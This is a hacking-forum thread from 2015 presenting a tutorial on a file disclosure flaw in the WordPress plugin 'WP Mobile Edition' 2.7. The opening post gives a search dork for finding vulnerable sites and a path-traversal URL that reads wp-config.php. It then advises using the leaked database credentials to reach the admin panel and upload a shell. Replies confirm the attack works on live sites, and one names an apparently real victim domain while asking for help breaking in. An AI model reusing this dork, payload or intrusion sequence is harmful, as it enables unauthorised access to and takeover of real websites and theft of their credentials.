[TUT] Wordpress Plugin 'WP Mobile Edition' 2.7 - Remote File Disclosure Vulnerability

[TUT] Wordpress Plugin 'WP Mobile Edition' 2.7 - Remote File Disclosure Vulnerability - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT] Wordpress Plugin 'WP Mobile Edition' 2.7 - Remote File Disclosure Vulnerability (/showthread.php?tid=4777782)

Pages: Pages 1 2

[TUT] Wordpress Plugin 'WP Mobile Edition' 2.7 - Remote File Disclosure Vulnerability - ๖ۣۜƙ!ʟʟabiтs.~ - Apr 13, 2015

[img]http://1337day.com/img/logo_green.jpg[/img]

Wordpress Plugin - Remote File Disclosure Vulnerability

Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'
You can see the MySQL settings, like this.

[Image: aflMLpM.png]

Dork:

Quote:- Search on Google
inurl:?fdx_switcher=mobile

- POC

Quote:Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

This is a very simple exploit, you can connect to the database and access to wordpress panel next, upload the shell.

- Tips for connecting to database:
If the MySQL host is "localhost", you can see if the FTP/cPanel have the database on the same server, www.example.com/cpanel

DB Kiss (Uploaded by mobile): http://www.fitsolutions.com.tr/wp-content/themes/vflex/dbkiss2.php
Source: ExploitDB

Hope you liked it C:

* - donwanny3 - Apr 13, 2015

is this logger for sale or free? DOES IT work on virtual machine? what cryters are compartible with the logger? waiting to hear from you.can it be purchased using bitcoin ,will be waiting your reply

* - ｍＯｂｉＩｅ - Apr 13, 2015

Seen this also, works for meh.. 🎉
[Image: Z7LP7nX.jpg]

* - #Skyline - Apr 14, 2015

This works for me also :)
It's a great vulnerability.

* - ๖ۣۜƙ!ʟʟabiтs.~ - Apr 14, 2015

Glad you liked it, is working fine 🤝

* - DarkMethods - Apr 15, 2015

It's a Good vulnerability, i like your work, for search this, it's workinG Good..

* - xXNepalmXx - Apr 15, 2015

How to connect to the Mysql Database if it's in the localhost of the website?

* - QaTaRi_RuLeZ - Apr 15, 2015

------

That's Great Worked :D
-
xXNepalmXx : Try To Read wpconfig ,, and see if it the same details of Ftp Or Cpanel if installed in server :)

* - xorl - Apr 15, 2015

Why did you feel the need to c/p public exploits from exploit-db? You didn't contribute anything new to the subject so your thread is kinda redundant.

* - Soulo - Apr 15, 2015

(Apr 15, 2015 11:11 AM)xXNepalmXx Wrote: How to connect to the Mysql Database if it's in the localhost of the website?

You can't!!! 🤭🤭🤭🤭🤭🎉🎉🎉👍👍👍🤦‍♂🤦‍♂🤦‍♂

Unless you're connecting from localhost, that is.

* - Orianthi - Apr 15, 2015

Vouch for this method it works. Very malcious indeed!!`

* - ๖ۣۜƙ!ʟʟabiтs.~ - Apr 15, 2015

Thank you for all the appreciations, just added a few tips!

* - ElViruZ - Apr 15, 2015

Hello,

This Method work really fine!

Thumps up!

* - rastarockstar - May 6, 2015

Hi,

I find few site but having problem with mysql task.

superfrugalstephanie com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

My Sql Host is "localhost" but how to use credential of wp-config to login to mysql, so that upload my shell.

Thanks

* - rastarockstar - May 10, 2015

Hi,

Anybody here, please help me. I don't able to connect any single site database. How to connect that, please help me?

Thanks